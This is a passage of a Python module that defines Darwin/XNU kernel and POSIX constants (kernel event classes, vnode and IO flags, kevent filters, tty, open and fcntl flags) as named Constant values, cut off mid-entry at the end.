KEV_ANY_VENDOR = Constant('KEV_ANY_VENDOR',0) KEV_ANY_CLASS = Constant('KEV_ANY_CLASS',0) KEV_ANY_SUBCLASS = Constant('KEV_ANY_SUBCLASS',0) KEV_VENDOR_APPLE = Constant('KEV_VENDOR_APPLE',1) KEV_NETWORK_CLASS = Constant('KEV_NETWORK_CLASS',1) KEV_IOKIT_CLASS = Constant('KEV_IOKIT_CLASS',2) KEV_SYSTEM_CLASS = Constant('KEV_SYSTEM_CLASS',3) KEV_APPLESHARE_CLASS = Constant('KEV_APPLESHARE_CLASS',4) KEV_FIREWALL_CLASS = Constant('KEV_FIREWALL_CLASS',5) KEV_IEEE80211_CLASS = Constant('KEV_IEEE80211_CLASS',6) KEV_NKE_CLASS = Constant('KEV_NKE_CLASS',7) KEV_NKE_ALF_SUBCLASS = Constant('KEV_NKE_ALF_SUBCLASS',1) KEV_NKE_ALF_STATE_CHANGED = Constant('KEV_NKE_ALF_STATE_CHANGED',1) XNU_KERN_EVENT_DATA_SIZE = Constant('XNU_KERN_EVENT_DATA_SIZE',1) KEV_VENDOR_CODE_MAX_STR_LEN = Constant('KEV_VENDOR_CODE_MAX_STR_LEN',200) N_KEV_VECTORS = Constant('N_KEV_VECTORS',5) M_WAITOK = Constant('M_WAITOK',0x0000) M_NOWAIT = Constant('M_NOWAIT',0x0001) M_ZERO = Constant('M_ZERO',0x0004) M_NULL = Constant('M_NULL',0x0008) M_PCB = Constant('M_PCB',4) M_RTABLE = Constant('M_RTABLE',5) M_IFADDR = Constant('M_IFADDR',9) M_SONAME = Constant('M_SONAME',11) M_LOCKF = Constant('M_LOCKF',40) M_TEMP = Constant('M_TEMP',80) M_UDFNODE = Constant('M_UDFNODE',84) M_UDFMNT = Constant('M_UDFMNT',85) M_KAUTH = Constant('M_KAUTH',100) HAVE_VT_LOCKERFS = Constant('HAVE_VT_LOCKERFS',1) VNODE_READ = Constant('VNODE_READ',0x01) VNODE_WRITE = Constant('VNODE_WRITE',0x02) VNODE_BLOCKMAP_NO_TRACK = Constant('VNODE_BLOCKMAP_NO_TRACK',0x04) VNODE_CLUSTER_VERIFY = Constant('VNODE_CLUSTER_VERIFY',0x08) PREALLOCATE = Constant('PREALLOCATE',0x00000001) ALLOCATECONTIG = Constant('ALLOCATECONTIG',0x00000002) ALLOCATEALL = Constant('ALLOCATEALL',0x00000004) ALLOCATEPERSIST = Constant('ALLOCATEPERSIST',0x00000008) ALLOCATEFROMPEOF = Constant('ALLOCATEFROMPEOF',0x00000010) ALLOCATEFROMVOL = Constant('ALLOCATEFROMVOL',0x00000020) IO_UNIT = Constant('IO_UNIT',0x0001) IO_APPEND = Constant('IO_APPEND',0x0002) IO_SYNC = Constant('IO_SYNC',0x0004) IO_NODELOCKED = Constant('IO_NODELOCKED',0x0008) IO_NDELAY = Constant('IO_NDELAY',0x0010) IO_NOZEROFILL = Constant('IO_NOZEROFILL',0x0020) IO_TAILZEROFILL = Constant('IO_TAILZEROFILL',0x0040) IO_HEADZEROFILL = Constant('IO_HEADZEROFILL',0x0080) IO_NOZEROVALID = Constant('IO_NOZEROVALID',0x0100) IO_NOZERODIRTY = Constant('IO_NOZERODIRTY',0x0200) IO_CLOSE = Constant('IO_CLOSE',0x0400) IO_NOCACHE = Constant('IO_NOCACHE',0x0800) IO_RAOFF = Constant('IO_RAOFF',0x1000) IO_DEFWRITE = Constant('IO_DEFWRITE',0x2000) IO_PASSIVE = Constant('IO_PASSIVE',0x4000) IO_NOAUTH = Constant('IO_NOAUTH',0x8000) IO_NODIRECT = Constant('IO_NODIRECT',0x10000) IO_ENCRYPTED = Constant('IO_ENCRYPTED',0x20000) IO_RETURN_ON_THROTTLE = Constant('IO_RETURN_ON_THROTTLE',0x40000) IO_SINGLE_WRITER = Constant('IO_SINGLE_WRITER',0x80000) IO_SYSCALL_DISPATCH = Constant('IO_SYSCALL_DISPATCH',0x100000) IO_SWAP_DISPATCH = Constant('IO_SWAP_DISPATCH',0x200000) IO_SKIP_ENCRYPTION = Constant('IO_SKIP_ENCRYPTION',0x400000) IO_EVTONLY = Constant('IO_EVTONLY',0x800000) IO_NOCACHE_SYSSPACE = Constant('IO_NOCACHE_SYSSPACE',0x1000000) IO_NOCACHE_SWRITE = Constant('IO_NOCACHE_SWRITE',0x2000000) LOOKUP = Constant('LOOKUP',0) CREATE = Constant('CREATE',1) DELETE = Constant('DELETE',2) RENAME = Constant('RENAME',3) OPMASK = Constant('OPMASK',3) FOLLOW = Constant('FOLLOW',0x00000040) ISDOTDOT = Constant('ISDOTDOT',0x00002000) MAKEENTRY = Constant('MAKEENTRY',0x00004000) ISLASTCN = Constant('ISLASTCN',0x00008000) VNFS_NOCACHE = Constant('VNFS_NOCACHE',0x01) VNFS_CANTCACHE = Constant('VNFS_CANTCACHE',0x02) VNFS_ADDFSREF = Constant('VNFS_ADDFSREF',0x04) VNCREATE_FLAVOR = Constant('VNCREATE_FLAVOR',0) VA_UTIMES_NULL = Constant('VA_UTIMES_NULL',0x010000) VA_EXCLUSIVE = Constant('VA_EXCLUSIVE',0x020000) VA_NOINHERIT = Constant('VA_NOINHERIT',0x040000) VA_NOAUTH = Constant('VA_NOAUTH',0x080000) VA_64BITOBJIDS = Constant('VA_64BITOBJIDS',0x100000) VA_REALFSID = Constant('VA_REALFSID',0x200000) VA_USEFSID = Constant('VA_USEFSID',0x400000) VA_FILESEC_ACL = Constant('VA_FILESEC_ACL',0x800000) VSUID = Constant('VSUID',0x800) VSGID = Constant('VSGID',0x400) VSVTX = Constant('VSVTX',0x200) VREAD = Constant('VREAD',0x100) VWRITE = Constant('VWRITE',0x080) VEXEC = Constant('VEXEC',0x040) SKIPSYSTEM = Constant('SKIPSYSTEM',0x0001) FORCECLOSE = Constant('FORCECLOSE',0x0002) WRITECLOSE = Constant('WRITECLOSE',0x0004) SKIPSWAP = Constant('SKIPSWAP',0x0008) SKIPROOT = Constant('SKIPROOT',0x0010) DOCLOSE = Constant('DOCLOSE',0x0008) V_SAVE = Constant('V_SAVE',0x0001) V_SAVEMETA = Constant('V_SAVEMETA',0x0002) REVOKEALL = Constant('REVOKEALL',0x0001) VNODE_REMOVE_NODELETEBUSY = Constant('VNODE_REMOVE_NODELETEBUSY',0x0001) VNODE_REMOVE_SKIP_NAMESPACE_EVENT = Constant('VNODE_REMOVE_SKIP_NAMESPACE_EVENT',0x0002) VNODE_REMOVE_NO_AUDIT_PATH = Constant('VNODE_REMOVE_NO_AUDIT_PATH',0x0004) VNODE_REMOVE_DATALESS_DIR = Constant('VNODE_REMOVE_DATALESS_DIR',0x0008) VNODE_READDIR_EXTENDED = Constant('VNODE_READDIR_EXTENDED',0x0001) VNODE_READDIR_REQSEEKOFF = Constant('VNODE_READDIR_REQSEEKOFF',0x0002) VNODE_READDIR_SEEKOFF32 = Constant('VNODE_READDIR_SEEKOFF32',0x0004) VNODE_READDIR_NAMEMAX = Constant('VNODE_READDIR_NAMEMAX',0x0008) VNODE_CLONEFILE_DEFAULT = Constant('VNODE_CLONEFILE_DEFAULT',0x0000) VNODE_CLONEFILE_NOOWNERCOPY = Constant('VNODE_CLONEFILE_NOOWNERCOPY',0x0001) VNODE_ASYNC_THROTTLE = Constant('VNODE_ASYNC_THROTTLE',15) VNODE_UPDATE_PARENT = Constant('VNODE_UPDATE_PARENT',0x01) VNODE_UPDATE_NAME = Constant('VNODE_UPDATE_NAME',0x02) VNODE_UPDATE_CACHE = Constant('VNODE_UPDATE_CACHE',0x04) VNODE_UPDATE_PURGE = Constant('VNODE_UPDATE_PURGE',0x08) VNODE_LOOKUP_NOFOLLOW = Constant('VNODE_LOOKUP_NOFOLLOW',0x01) VNODE_LOOKUP_NOCROSSMOUNT = Constant('VNODE_LOOKUP_NOCROSSMOUNT',0x02) VNODE_LOOKUP_CROSSMOUNTNOWAIT = Constant('VNODE_LOOKUP_CROSSMOUNTNOWAIT',0x04) VNODE_LOOKUP_NOFOLLOW_ANY = Constant('VNODE_LOOKUP_NOFOLLOW_ANY',0x08) VNODE_RELOAD = Constant('VNODE_RELOAD',0x01) VNODE_WAIT = Constant('VNODE_WAIT',0x02) VNODE_WRITEABLE = Constant('VNODE_WRITEABLE',0x04) VNODE_WITHID = Constant('VNODE_WITHID',0x08) VNODE_NOLOCK_INTERNAL = Constant('VNODE_NOLOCK_INTERNAL',0x10) VNODE_NODEAD = Constant('VNODE_NODEAD',0x20) VNODE_NOSUSPEND = Constant('VNODE_NOSUSPEND',0x40) VNODE_ITERATE_ALL = Constant('VNODE_ITERATE_ALL',0x80) VNODE_ITERATE_ACTIVE = Constant('VNODE_ITERATE_ACTIVE',0x100) VNODE_ITERATE_INACTIVE = Constant('VNODE_ITERATE_INACTIVE',0x200) VNODE_RETURNED = Constant('VNODE_RETURNED',0) VNODE_RETURNED_DONE = Constant('VNODE_RETURNED_DONE',1) VNODE_CLAIMED = Constant('VNODE_CLAIMED',2) VNODE_CLAIMED_DONE = Constant('VNODE_CLAIMED_DONE',3) IOCS_BUFFER_NUM_SIZE_BUCKETS = Constant('IOCS_BUFFER_NUM_SIZE_BUCKETS',10) IOCS_BUFFER_MAX_BUCKET = Constant('IOCS_BUFFER_MAX_BUCKET',9) IOCS_BUFFER_NUM_COMPRESSION_BUCKETS = Constant('IOCS_BUFFER_NUM_COMPRESSION_BUCKETS',7) IOCS_BLOCK_NUM_SIZE_BUCKETS = Constant('IOCS_BLOCK_NUM_SIZE_BUCKETS',16) IOCS_SBE_PATH_LEN = Constant('IOCS_SBE_PATH_LEN',128) IOCS_PATH_START_BYTES_TO_COPY = Constant('IOCS_PATH_START_BYTES_TO_COPY',108) IOCS_PATH_END_BYTES_TO_COPY = Constant('IOCS_PATH_END_BYTES_TO_COPY',20) IOCS_SYSCTL_LIVE = Constant('IOCS_SYSCTL_LIVE',0x00000001) IOCS_SYSCTL_STORE_BUFFER_RD_ONLY = Constant('IOCS_SYSCTL_STORE_BUFFER_RD_ONLY',0x00000002) IOCS_SYSCTL_STORE_BUFFER_MARK = Constant('IOCS_SYSCTL_STORE_BUFFER_MARK',0x00000004) TANDEM = Constant('TANDEM',0x00000001) CBREAK = Constant('CBREAK',0x00000002) LCASE = Constant('LCASE',0x00000004) ECHO = Constant('ECHO',0x00000008) CRMOD = Constant('CRMOD',0x00000010) RAW = Constant('RAW',0x00000020) ODDP = Constant('ODDP',0x00000040) EVENP = Constant('EVENP',0x00000080) ANYP = Constant('ANYP',0x000000c0) NLDELAY = Constant('NLDELAY',0x00000300) TBDELAY = Constant('TBDELAY',0x00000c00) XTABS = Constant('XTABS',0x00000c00) CRDELAY = Constant('CRDELAY',0x00003000) VTDELAY = Constant('VTDELAY',0x00004000) BSDELAY = Constant('BSDELAY',0x00008000) NL0 = Constant('NL0',0x00000000) NL1 = Constant('NL1',0x00000100) NL2 = Constant('NL2',0x00000200) NL3 = Constant('NL3',0x00000300) TAB0 = Constant('TAB0',0x00000000) TAB1 = Constant('TAB1',0x00000400) TAB2 = Constant('TAB2',0x00000800) CR0 = Constant('CR0',0x00000000) CR1 = Constant('CR1',0x00001000) CR2 = Constant('CR2',0x00002000) CR3 = Constant('CR3',0x00003000) FF0 = Constant('FF0',0x00000000) FF1 = Constant('FF1',0x00004000) BS0 = Constant('BS0',0x00000000) BS1 = Constant('BS1',0x00008000) CRTBS = Constant('CRTBS',0x00010000) PRTERA = Constant('PRTERA',0x00020000) CRTERA = Constant('CRTERA',0x00040000) TILDE = Constant('TILDE',0x00080000) MDMBUF = Constant('MDMBUF',0x00100000) LITOUT = Constant('LITOUT',0x00200000) TOSTOP = Constant('TOSTOP',0x00400000) FLUSHO = Constant('FLUSHO',0x00800000) NOHANG = Constant('NOHANG',0x01000000) L001000 = Constant('L001000',0x02000000) CRTKIL = Constant('CRTKIL',0x04000000) PASS8 = Constant('PASS8',0x08000000) CTLECH = Constant('CTLECH',0x10000000) PENDIN = Constant('PENDIN',0x20000000) DECCTQ = Constant('DECCTQ',0x40000000) NOFLSH = Constant('NOFLSH',0x80000000) OTTYDISC = Constant('OTTYDISC',0) NETLDISC = Constant('NETLDISC',1) NTTYDISC = Constant('NTTYDISC',2) LOCKLEAF = Constant('LOCKLEAF',0x0004) LOCKPARENT = Constant('LOCKPARENT',0x0008) WANTPARENT = Constant('WANTPARENT',0x0010) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) UIO_SMALLIOV = Constant('UIO_SMALLIOV',8) EVFILT_SYSCOUNT = Constant('EVFILT_SYSCOUNT',18) KEVENT_FLAG_NONE = Constant('KEVENT_FLAG_NONE',0x000000) KEVENT_FLAG_IMMEDIATE = Constant('KEVENT_FLAG_IMMEDIATE',0x000001) KEVENT_FLAG_ERROR_EVENTS = Constant('KEVENT_FLAG_ERROR_EVENTS',0x000002) EV_ADD = Constant('EV_ADD',0x0001) EV_DELETE = Constant('EV_DELETE',0x0002) EV_ENABLE = Constant('EV_ENABLE',0x0004) EV_DISABLE = Constant('EV_DISABLE',0x0008) EV_ONESHOT = Constant('EV_ONESHOT',0x0010) EV_CLEAR = Constant('EV_CLEAR',0x0020) EV_RECEIPT = Constant('EV_RECEIPT',0x0040) EV_DISPATCH = Constant('EV_DISPATCH',0x0080) EV_UDATA_SPECIFIC = Constant('EV_UDATA_SPECIFIC',0x0100) EV_VANISHED = Constant('EV_VANISHED',0x0200) EV_SYSFLAGS = Constant('EV_SYSFLAGS',0xF000) EV_FLAG0 = Constant('EV_FLAG0',0x1000) EV_FLAG1 = Constant('EV_FLAG1',0x2000) EV_EOF = Constant('EV_EOF',0x8000) EV_ERROR = Constant('EV_ERROR',0x4000) NOTE_TRIGGER = Constant('NOTE_TRIGGER',0x01000000) NOTE_FFNOP = Constant('NOTE_FFNOP',0x00000000) NOTE_FFAND = Constant('NOTE_FFAND',0x40000000) NOTE_FFOR = Constant('NOTE_FFOR',0x80000000) NOTE_FFCOPY = Constant('NOTE_FFCOPY',0xc0000000) NOTE_FFCTRLMASK = Constant('NOTE_FFCTRLMASK',0xc0000000) NOTE_FFLAGSMASK = Constant('NOTE_FFLAGSMASK',0x00ffffff) NOTE_LOWAT = Constant('NOTE_LOWAT',0x00000001) NOTE_OOB = Constant('NOTE_OOB',0x00000002) NOTE_DELETE = Constant('NOTE_DELETE',0x00000001) NOTE_WRITE = Constant('NOTE_WRITE',0x00000002) NOTE_EXTEND = Constant('NOTE_EXTEND',0x00000004) NOTE_ATTRIB = Constant('NOTE_ATTRIB',0x00000008) NOTE_LINK = Constant('NOTE_LINK',0x00000010) NOTE_RENAME = Constant('NOTE_RENAME',0x00000020) NOTE_REVOKE = Constant('NOTE_REVOKE',0x00000040) NOTE_NONE = Constant('NOTE_NONE',0x00000080) NOTE_FUNLOCK = Constant('NOTE_FUNLOCK',0x00000100) NOTE_LEASE_DOWNGRADE = Constant('NOTE_LEASE_DOWNGRADE',0x00000200) NOTE_LEASE_RELEASE = Constant('NOTE_LEASE_RELEASE',0x00000400) NOTE_EXIT = Constant('NOTE_EXIT',0x80000000) NOTE_FORK = Constant('NOTE_FORK',0x40000000) NOTE_EXEC = Constant('NOTE_EXEC',0x20000000) NOTE_SIGNAL = Constant('NOTE_SIGNAL',0x08000000) NOTE_EXITSTATUS = Constant('NOTE_EXITSTATUS',0x04000000) NOTE_EXIT_DETAIL = Constant('NOTE_EXIT_DETAIL',0x02000000) NOTE_PDATAMASK = Constant('NOTE_PDATAMASK',0x000fffff) NOTE_EXIT_DETAIL_MASK = Constant('NOTE_EXIT_DETAIL_MASK',0x00070000) NOTE_EXIT_DECRYPTFAIL = Constant('NOTE_EXIT_DECRYPTFAIL',0x00010000) NOTE_EXIT_MEMORY = Constant('NOTE_EXIT_MEMORY',0x00020000) NOTE_EXIT_CSERROR = Constant('NOTE_EXIT_CSERROR',0x00040000) NOTE_VM_PRESSURE = Constant('NOTE_VM_PRESSURE',0x80000000) NOTE_VM_PRESSURE_TERMINATE = Constant('NOTE_VM_PRESSURE_TERMINATE',0x40000000) NOTE_VM_PRESSURE_SUDDEN_TERMINATE = Constant('NOTE_VM_PRESSURE_SUDDEN_TERMINATE',0x20000000) NOTE_VM_ERROR = Constant('NOTE_VM_ERROR',0x10000000) NOTE_SECONDS = Constant('NOTE_SECONDS',0x00000001) NOTE_USECONDS = Constant('NOTE_USECONDS',0x00000002) NOTE_NSECONDS = Constant('NOTE_NSECONDS',0x00000004) NOTE_ABSOLUTE = Constant('NOTE_ABSOLUTE',0x00000008) NOTE_LEEWAY = Constant('NOTE_LEEWAY',0x00000010) NOTE_CRITICAL = Constant('NOTE_CRITICAL',0x00000020) NOTE_BACKGROUND = Constant('NOTE_BACKGROUND',0x00000040) NOTE_MACH_CONTINUOUS_TIME = Constant('NOTE_MACH_CONTINUOUS_TIME',0x00000080) NOTE_MACHTIME = Constant('NOTE_MACHTIME',0x00000100) NOTE_TRACK = Constant('NOTE_TRACK',0x00000001) NOTE_TRACKERR = Constant('NOTE_TRACKERR',0x00000002) NOTE_CHILD = Constant('NOTE_CHILD',0x00000004) VMADDR_CID_HYPERVISOR = Constant('VMADDR_CID_HYPERVISOR',0) VMADDR_CID_RESERVED = Constant('VMADDR_CID_RESERVED',1) VMADDR_CID_HOST = Constant('VMADDR_CID_HOST',2) IMG_SHSIZE = Constant('IMG_SHSIZE',512) IMGPF_NONE = Constant('IMGPF_NONE',0x00000000) IMGPF_INTERPRET = Constant('IMGPF_INTERPRET',0x00000001) IMGPF_RESERVED = Constant('IMGPF_RESERVED',0x00000002) IMGPF_WAS_64BIT_ADDR = Constant('IMGPF_WAS_64BIT_ADDR',0x00000004) IMGPF_IS_64BIT_ADDR = Constant('IMGPF_IS_64BIT_ADDR',0x00000008) IMGPF_SPAWN = Constant('IMGPF_SPAWN',0x00000010) IMGPF_DISABLE_ASLR = Constant('IMGPF_DISABLE_ASLR',0x00000020) IMGPF_ALLOW_DATA_EXEC = Constant('IMGPF_ALLOW_DATA_EXEC',0x00000040) IMGPF_3P_PLUGINS = Constant('IMGPF_3P_PLUGINS',0x00000080) IMGPF_EXEC = Constant('IMGPF_EXEC',0x00000100) IMGPF_HIGH_BITS_ASLR = Constant('IMGPF_HIGH_BITS_ASLR',0x00000200) IMGPF_IS_64BIT_DATA = Constant('IMGPF_IS_64BIT_DATA',0x00000400) IMGPF_DRIVER = Constant('IMGPF_DRIVER',0x00000800) IMGPF_RESLIDE = Constant('IMGPF_RESLIDE',0x00001000) IMGPF_PLUGIN_HOST_DISABLE_A_KEYS = Constant('IMGPF_PLUGIN_HOST_DISABLE_A_KEYS',0x00002000) IMGPF_HW_TPRO = Constant('IMGPF_HW_TPRO',0x00004000) IMGPF_ROSETTA = Constant('IMGPF_ROSETTA',0x10000000) IMGPF_ALT_ROSETTA = Constant('IMGPF_ALT_ROSETTA',0x20000000) IMGPF_RESERVED_2 = Constant('IMGPF_RESERVED_2',0x40000000) IMGPF_NOJOP = Constant('IMGPF_NOJOP',0x80000000) IMGPF_SB_DEFAULT = Constant('IMGPF_SB_DEFAULT',0) IMGPF_SB_TRUE = Constant('IMGPF_SB_TRUE',1) IMGPF_SB_FALSE = Constant('IMGPF_SB_FALSE',2) _POSIX_THREAD_KEYS_MAX = Constant('_POSIX_THREAD_KEYS_MAX',128) F_OK = Constant('F_OK',0) ACCESSX_MAX_DESCRIPTORS = Constant('ACCESSX_MAX_DESCRIPTORS',100) _PC_LINK_MAX = Constant('_PC_LINK_MAX',1) _PC_MAX_CANON = Constant('_PC_MAX_CANON',2) _PC_MAX_INPUT = Constant('_PC_MAX_INPUT',3) _PC_NAME_MAX = Constant('_PC_NAME_MAX',4) _PC_PATH_MAX = Constant('_PC_PATH_MAX',5) _PC_PIPE_BUF = Constant('_PC_PIPE_BUF',6) _PC_CHOWN_RESTRICTED = Constant('_PC_CHOWN_RESTRICTED',7) _PC_NO_TRUNC = Constant('_PC_NO_TRUNC',8) _PC_VDISABLE = Constant('_PC_VDISABLE',9) _PC_NAME_CHARS_MAX = Constant('_PC_NAME_CHARS_MAX',10) _PC_CASE_SENSITIVE = Constant('_PC_CASE_SENSITIVE',11) _PC_CASE_PRESERVING = Constant('_PC_CASE_PRESERVING',12) _PC_EXTENDED_SECURITY_NP = Constant('_PC_EXTENDED_SECURITY_NP',13) _PC_AUTH_OPAQUE_NP = Constant('_PC_AUTH_OPAQUE_NP',14) _PC_2_SYMLINKS = Constant('_PC_2_SYMLINKS',15) _PC_ALLOC_SIZE_MIN = Constant('_PC_ALLOC_SIZE_MIN',16) _PC_ASYNC_IO = Constant('_PC_ASYNC_IO',17) _PC_FILESIZEBITS = Constant('_PC_FILESIZEBITS',18) _PC_PRIO_IO = Constant('_PC_PRIO_IO',19) _PC_REC_INCR_XFER_SIZE = Constant('_PC_REC_INCR_XFER_SIZE',20) _PC_REC_MAX_XFER_SIZE = Constant('_PC_REC_MAX_XFER_SIZE',21) _PC_REC_MIN_XFER_SIZE = Constant('_PC_REC_MIN_XFER_SIZE',22) _PC_REC_XFER_ALIGN = Constant('_PC_REC_XFER_ALIGN',23) _PC_SYMLINK_MAX = Constant('_PC_SYMLINK_MAX',24) _PC_SYNC_IO = Constant('_PC_SYNC_IO',25) _PC_XATTR_SIZE_BITS = Constant('_PC_XATTR_SIZE_BITS',26) _PC_MIN_HOLE_SIZE = Constant('_PC_MIN_HOLE_SIZE',27) _CS_PATH = Constant('_CS_PATH',1) _SYS_CONF_H_ = Constant('_SYS_CONF_H_',1) D_TAPE = Constant('D_TAPE',1) D_DISK = Constant('D_DISK',2) D_TTY = Constant('D_TTY',3) WNOHANG = Constant('WNOHANG',0x00000001) WUNTRACED = Constant('WUNTRACED',0x00000002) WCOREFLAG = Constant('WCOREFLAG',0o0200) _WSTOPPED = Constant('_WSTOPPED',0o0177) WEXITED = Constant('WEXITED',0x00000004) WSTOPPED = Constant('WSTOPPED',0x00000008) WCONTINUED = Constant('WCONTINUED',0x00000010) WNOWAIT = Constant('WNOWAIT',0x00000020) WAIT_MYPGRP = Constant('WAIT_MYPGRP',0) PRIO_DARWIN_GPU = Constant('PRIO_DARWIN_GPU',5) PRIO_DARWIN_GPU_ALLOW = Constant('PRIO_DARWIN_GPU_ALLOW',0x1) PRIO_DARWIN_GPU_DENY = Constant('PRIO_DARWIN_GPU_DENY',0x2) PRIO_DARWIN_ROLE = Constant('PRIO_DARWIN_ROLE',6) PRIO_DARWIN_ROLE_DEFAULT = Constant('PRIO_DARWIN_ROLE_DEFAULT',0x0) PRIO_DARWIN_ROLE_UI_FOCAL = Constant('PRIO_DARWIN_ROLE_UI_FOCAL',0x1) PRIO_DARWIN_ROLE_UI = Constant('PRIO_DARWIN_ROLE_UI',0x2) PRIO_DARWIN_ROLE_NON_UI = Constant('PRIO_DARWIN_ROLE_NON_UI',0x3) PRIO_DARWIN_ROLE_UI_NON_FOCAL = Constant('PRIO_DARWIN_ROLE_UI_NON_FOCAL',0x4) PRIO_DARWIN_ROLE_TAL_LAUNCH = Constant('PRIO_DARWIN_ROLE_TAL_LAUNCH',0x5) PRIO_DARWIN_ROLE_DARWIN_BG = Constant('PRIO_DARWIN_ROLE_DARWIN_BG',0x6) PRIO_DARWIN_GAME_MODE = Constant('PRIO_DARWIN_GAME_MODE',7) PRIO_DARWIN_CARPLAY_MODE = Constant('PRIO_DARWIN_CARPLAY_MODE',8) PRIO_DARWIN_GAME_MODE_OFF = Constant('PRIO_DARWIN_GAME_MODE_OFF',0x0) PRIO_DARWIN_GAME_MODE_ON = Constant('PRIO_DARWIN_GAME_MODE_ON',0x1) PRIO_DARWIN_CARPLAY_MODE_OFF = Constant('PRIO_DARWIN_CARPLAY_MODE_OFF',0x0) PRIO_DARWIN_CARPLAY_MODE_ON = Constant('PRIO_DARWIN_CARPLAY_MODE_ON',0x1) IOMON_ENABLE = Constant('IOMON_ENABLE',0x01) IOMON_DISABLE = Constant('IOMON_DISABLE',0x02) IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY = Constant('IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY',1) IOPOL_TYPE_VFS_ALTLINK = Constant('IOPOL_TYPE_VFS_ALTLINK',11) IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE = Constant('IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE',12) IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT = Constant('IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT',0) IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE = Constant('IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE',1) IOPOL_VFS_ALTLINK_DISABLED = Constant('IOPOL_VFS_ALTLINK_DISABLED',0) IOPOL_VFS_ALTLINK_ENABLED = Constant('IOPOL_VFS_ALTLINK_ENABLED',1) IOPOL_CMD_GET = Constant('IOPOL_CMD_GET',0x00000001) IOPOL_CMD_SET = Constant('IOPOL_CMD_SET',0x00000002) IPC_CREAT = Constant('IPC_CREAT',0o001000) IPC_EXCL = Constant('IPC_EXCL',0o002000) IPC_NOWAIT = Constant('IPC_NOWAIT',0o004000) IPC_RMID = Constant('IPC_RMID',0) IPC_SET = Constant('IPC_SET',1) IPC_STAT = Constant('IPC_STAT',2) IPC_R = Constant('IPC_R',0o000400) IPC_W = Constant('IPC_W',0o000200) IPC_M = Constant('IPC_M',0o010000) O_RDONLY = Constant('O_RDONLY',0x0000) O_WRONLY = Constant('O_WRONLY',0x0001) O_RDWR = Constant('O_RDWR',0x0002) O_ACCMODE = Constant('O_ACCMODE',0x0003) FREAD = Constant('FREAD',0x00000001) FWRITE = Constant('FWRITE',0x00000002) O_NONBLOCK = Constant('O_NONBLOCK',0x00000004) O_APPEND = Constant('O_APPEND',0x00000008) O_SHLOCK = Constant('O_SHLOCK',0x00000010) O_EXLOCK = Constant('O_EXLOCK',0x00000020) O_ASYNC = Constant('O_ASYNC',0x00000040) O_NOFOLLOW = Constant('O_NOFOLLOW',0x00000100) O_CREAT = Constant('O_CREAT',0x00000200) O_TRUNC = Constant('O_TRUNC',0x00000400) O_EXCL = Constant('O_EXCL',0x00000800) FMARK = Constant('FMARK',0x00001000) FDEFER = Constant('FDEFER',0x00002000) FWASLOCKED = Constant('FWASLOCKED',0x00004000) O_EVTONLY = Constant('O_EVTONLY',0x00008000) FWASWRITTEN = Constant('FWASWRITTEN',0x00010000) O_NOCTTY = Constant('O_NOCTTY',0x00020000) FNOCACHE = Constant('FNOCACHE',0x00040000) FNORDAHEAD = Constant('FNORDAHEAD',0x00080000) O_DIRECTORY = Constant('O_DIRECTORY',0x00100000) O_SYMLINK = Constant('O_SYMLINK',0x00200000) FNODIRECT = Constant('FNODIRECT',0x00800000) O_CLOEXEC = Constant('O_CLOEXEC',0x01000000) FENCRYPTED = Constant('FENCRYPTED',0x02000000) FSINGLE_WRITER = Constant('FSINGLE_WRITER',0x04000000) O_CLOFORK = Constant('O_CLOFORK',0x08000000) FUNENCRYPTED = Constant('FUNENCRYPTED',0x10000000) O_NOFOLLOW_ANY = Constant('O_NOFOLLOW_ANY',0x20000000) O_EXEC = Constant('O_EXEC',0x40000000) AT_EACCESS = Constant('AT_EACCESS',0x0010) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x0020) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x0040) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x0080) AT_REALDEV = Constant('AT_REALDEV',0x0200) AT_FDONLY = Constant('AT_FDONLY',0x0400) AT_SYMLINK_NOFOLLOW_ANY = Constant('AT_SYMLINK_NOFOLLOW_ANY',0x0800) O_DP_GETRAWENCRYPTED = Constant('O_DP_GETRAWENCRYPTED',0x0001) O_DP_GETRAWUNENCRYPTED = Constant('O_DP_GETRAWUNENCRYPTED',0x0002) O_DP_AUTHENTICATE = Constant('O_DP_AUTHENTICATE',0x0004) CPF_OVERWRITE = Constant('CPF_OVERWRITE',0x0001) CPF_IGNORE_MODE = Constant('CPF_IGNORE_MODE',0x0002) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETOWN = Constant('F_GETOWN',5) F_SETOWN = Constant('F_SETOWN',6) F_GETLK = Constant('F_GETLK',7) F_SETLK = Constant('F_SETLK',8) F_SETLKW = Constant('F_SETLKW',9) F_SETLKWTIMEOUT = Constant('F_SETLKWTIMEOUT',10) F_FLUSH_DATA = Constant('F_FLUSH_DATA',40) F_CHKCLEAN = Constant('F_CHKCLEAN',41) F_PREALLOCATE = Constant('F_PREALLOCATE',42) F_SETSIZE = Constant('F_SETSIZE',43) F_RDADVISE = Constant('F_RDADVISE',44) F_RDAHEAD = Constant('F_RDAHEAD',45) F_NOCACHE = Constant('F_NOCACHE',48) F_LOG2PHYS = Constant('F_LOG2PHYS',49) F_GETPATH = Constant('F_GETPATH',50) F_FULLFSYNC = Constant('F_FULLFSYNC',51) F_PATHPKG_CHECK = Constant('F_PATHPKG_CHECK',52) F_FREEZE_FS = Constant('F_FREEZE_FS',53) F_THAW_FS = Constant('F_THAW_FS',54) F_GLOBAL_NOCACHE = Constant('F_GLOBAL_NOCACHE',55) F_ADDSIGS = Constant('F_ADDSIGS',59) F_ADDFILESIGS = Constant('F_ADDFILESIGS',61) F_NODIRECT = Constant('F_NODIRECT',62) F_GETPROTECTIONCLASS = Constant('F_GETPROTECTIONCLASS',63) F_SETPROTECTIONCLASS = Constant('F_SETPROTECTIONCLASS',64) F_LOG2PHYS_EXT = Constant('F_LOG2PHYS_EXT',65) F_GETLKPID = 